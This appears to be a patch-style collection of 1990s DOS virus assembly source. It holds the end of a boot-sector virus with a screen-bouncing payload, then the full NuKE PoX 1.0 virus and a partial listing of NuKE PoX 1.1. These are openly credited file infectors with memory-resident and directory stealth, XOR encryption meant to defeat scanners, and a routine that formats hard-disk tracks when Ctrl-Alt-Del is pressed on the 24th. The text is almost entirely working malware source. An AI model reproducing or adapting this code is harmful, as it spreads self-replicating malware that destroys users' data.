|
||||
MOV SI,AX ; SAVE REAL SECTOR NUMBER
|
||||
MOV BX,0 ; SECTOR ZERO
|
||||
CALL READ_IT_IN ; READ BOOT SECTOR
|
||||
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
||||
INC BX ; ADDRESS TO NEXT SECTOR
|
||||
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
|
||||
PLACE_VIRUS:
|
||||
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
|
||||
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
|
||||
MOV ES,AX ; SET BUFFER ADDRESS
|
||||
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
|
||||
MOV ES,AX ; SET BUFFER ADDRESS
|
||||
MOV BX,0 ; SECTOR ZERO
|
||||
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
|
||||
RET
|
||||
|
||||
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
|
||||
DB 2 ; PRCFAT - PROCESSED FAT / 256
|
||||
|
||||
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
|
||||
|
||||
INTERRUPT_08:
|
||||
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
|
||||
JNZ FINISH_TIME ; BRANCH IF ON
|
||||
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
|
||||
MOV AX,0 ; \ SEGMENT ZERO
|
||||
MOV DS,AX ; /
|
||||
MOV AX,INT8OF ; SAVE INT 8 OFFSET
|
||||
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
|
||||
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
|
||||
MOV INT8SG,CS ; NEW INT 8 SEGMENT
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
|
||||
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
|
||||
FINISH_TIME:
|
||||
RET
|
||||
|
||||
; INTERRUPT 10
|
||||
|
||||
DO_VIDEO:
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV AH,0FH ; GET VDU PARAMETERS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV BL,AL ; VDU MODE
|
||||
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
|
||||
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
|
||||
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
|
||||
DEC AH ; VISIBLE COLUMNS
|
||||
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
|
||||
MOV AH,1 ; GRAPHICS MODE SWITCH ON
|
||||
CMP BL,7 ; TEST FOR TELETYPE MODE
|
||||
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
|
||||
DEC AH ; GRAPHICS MODE SWITCH OFF
|
||||
IS_IT_GRAPHICS:
|
||||
CMP BL,4 ; TEST FOR GRAPHICS MODE
|
||||
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
|
||||
DEC AH ; GRAPHICS MODE SWITCH OFF
|
||||
ROW_AND_COLUMN:
|
||||
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
|
||||
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
|
||||
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
|
||||
MOV AH,3 ; GET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
PUSH DX ; SAVE CURSOR ADDRESS
|
||||
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
||||
JMP SHORT VIDEO_01
|
||||
|
||||
CHARACTER_ATTRIB:
|
||||
MOV AH,3 ; GET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
PUSH DX
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
||||
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
||||
JNZ WRITE_CHAR ; BRANCH IF NOT
|
||||
MOV AX,8307H ; CHARACTER AND WRITE MODE
|
||||
WRITE_CHAR:
|
||||
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
|
||||
MOV CX,1 ; ONLY ONCE
|
||||
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
VIDEO_01:
|
||||
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
|
||||
CMP DH,0 ; IS ROW ZERO
|
||||
JNZ VIDEO_02 ; BRANCH IF NOT
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_02:
|
||||
CMP DH,18H ; IS ROW 24
|
||||
JNZ VIDEO_04 ; BRANCH IF NOT
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_04:
|
||||
CMP DL,0 ; IS COLUMN 0
|
||||
JNZ VIDEO_05 ; BRANCH IF NOT
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_05:
|
||||
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
|
||||
JNZ VIDEO_07 ; BRANCH IF NOT
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_07:
|
||||
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
|
||||
JNZ VIDEO_09 ; BRANCH IF CHANGED
|
||||
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
|
||||
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
|
||||
CMP AL,3 ; TEST BITS 1 AND 2
|
||||
JNZ VIDEO_08 ; BRANCH IF OFF
|
||||
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
|
||||
INC CH ; /
|
||||
VIDEO_08:
|
||||
CMP AL,5 ; TEST BITS 1 AND 3
|
||||
JNZ VIDEO_09 ; BRANCH IF OFF
|
||||
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
|
||||
INC CL ; /
|
||||
VIDEO_09:
|
||||
ADD DL,CL ; NEW COLUMN POSITION
|
||||
ADD DH,CH ; NEW ROW POSITION
|
||||
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
|
||||
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
|
||||
MOV BL,AH ; MOVE ATTRIBUTES
|
||||
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
|
||||
JNZ VIDEO_10 ; BRANCH IF NOT
|
||||
MOV BL,83H ; WRITE MODE FOR GRAPHICS
|
||||
VIDEO_10:
|
||||
MOV CX,1 ; ONCE ONLY
|
||||
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
|
||||
INT 10H ; VDU INTERRUPT
|
||||
POP DX ; RESTORE CURSOR ADDRESS
|
||||
MOV AH,2 ; SET CURSOR ADDRESS
|
||||
INT 10H ; VDU INTERRUPT
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP DS
|
||||
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
|
||||
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
|
||||
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
|
||||
|
||||
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
|
||||
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
|
||||
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
|
||||
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
|
||||
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
|
||||
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
|
||||
|
||||
|
||||
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
|
||||
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
|
||||
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
|
||||
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
|
||||
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
|
||||
|
||||
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
|
@ -0,0 +1,344 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
||||
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
||||
;-* Encrypted Copies of the Virus) -*
|
||||
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
||||
virus_size equ last - init_virus ;Size of the Virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h ;CTRL-ATL-DEL Key
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus ;+3 bytes
|
||||
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
||||
call doit_now ;Doit VirusMan... ;+3 Bytes
|
||||
;========
|
||||
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
||||
sub bp,109h ;have to be added to the 100h! This
|
||||
push ax ;SETs our `Delta Pointer'.
|
||||
push bx
|
||||
push cx
|
||||
push dx ;Save registers
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
||||
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
||||
|
||||
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
||||
int 21h ;May be better to go Manually...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size+virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number of bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
mov bx,offset buffer ; Its a COM file restore
|
||||
add bx,bp ; First three Bytes...
|
||||
mov ax,[bx] ; Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ; First two bytes Restored
|
||||
add bx,2 ; Get the next Byte
|
||||
mov al,[bx] ; Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ; Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Jump Back to Beginning
|
||||
push ax ; Restores our IP (a CALL
|
||||
retn ; Saves them, now we change
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler:
|
||||
push ax
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
ret
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,3h
|
||||
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end
|
||||
xor cx,cx ;of file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exit ;Yupe! Split
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the first 3
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
rocko endp
|
||||
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,2ch ;Get Time
|
||||
int 21h
|
||||
push dx ;Split seconds to AX
|
||||
pop ax
|
||||
mov byte ptr cs:[value],al ;AL = 0 to 99
|
||||
;New Encryption Value
|
||||
mov cx,virus_size
|
||||
push cs
|
||||
pop es ;Copy ANOTHER copy of the
|
||||
mov si,offset init_virus ;Virus to the end of us
|
||||
mov di,offset last
|
||||
repne movsb
|
||||
|
||||
mov cx,crypt_size
|
||||
sub cx,3h ;Encrypt that 2nd copy!
|
||||
push bp
|
||||
mov bp,offset last + 3h
|
||||
call decrypt_encrypt
|
||||
pop bp
|
||||
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset last ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
crypt:
|
||||
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
||||
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
||||
decrypt proc near
|
||||
pop bp
|
||||
push bp
|
||||
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
||||
mov cx,crypt_size ;Value
|
||||
decrypt_encrypt:
|
||||
xor cs:[bp],al ;Fuck Scanners and put a
|
||||
inc bp ;`NOT AL' anywhere here...
|
||||
loop decrypt_encrypt
|
||||
retn
|
||||
value db 00h ;Encryption value!
|
||||
decrypt endp
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
|
@ -0,0 +1,497 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
|
||||
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
|
||||
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
|
||||
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus_size equ last - init_virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Virus Begins Here...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus:
|
||||
call doit_now ;Doit VirusMan...
|
||||
|
||||
doit_now: pop bp ;Not to Lose Track
|
||||
sub bp,106h ;Set our position
|
||||
push ax ;Save all the registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,7bcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,7bcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
xor bx,bx
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es
|
||||
mov word ptr cs:[int9][bp],bx
|
||||
|
||||
mov ax,3521h ;Sometimes tend to intercept
|
||||
int 21h ;This Interrupt...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number od bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
cmp word ptr cs:[buffer][bp],5A4Dh
|
||||
je exit_exe_file ;Its an EXE file...
|
||||
mov bx,offset buffer ;Its a COM file restore
|
||||
add bx,bp ;First three Bytes...
|
||||
mov ax,[bx] ;Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ;First two bytes Restored
|
||||
add bx,2 ;Get the next Byte
|
||||
mov al,[bx] ;Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ;Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ;Jump Back to Beginning
|
||||
push ax ;Restores our IP (a CALL
|
||||
retn ;Saves them, now we changed
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
|
||||
exit_exe_file:
|
||||
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
|
||||
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
|
||||
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
|
||||
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
|
||||
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
|
||||
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
|
||||
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
|
||||
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
db 0B8h ;This is now a MOV AX,XXXX
|
||||
Rock_Fix1: ;XXXX is the original SS
|
||||
dw 0 ;Our XXXX Value
|
||||
cli ;Disable Interrupts
|
||||
mov ss,ax ;Mov it to SS
|
||||
db 0BCh ;This is now a MOV SP,XXXX
|
||||
Rock_Fix2:
|
||||
dw 0 ;The XXXX Value for SP
|
||||
sti ;Enable interrupts
|
||||
db 0EAh ;JMP XXXX:YYYY
|
||||
fuck_yeah:
|
||||
dd 0 ;Dword IP:CS (Reverse order!
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 9 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler: ;Every TIME a KEY is pressed
|
||||
push ax ;This ROUTINE is called!
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave system alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Dir Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
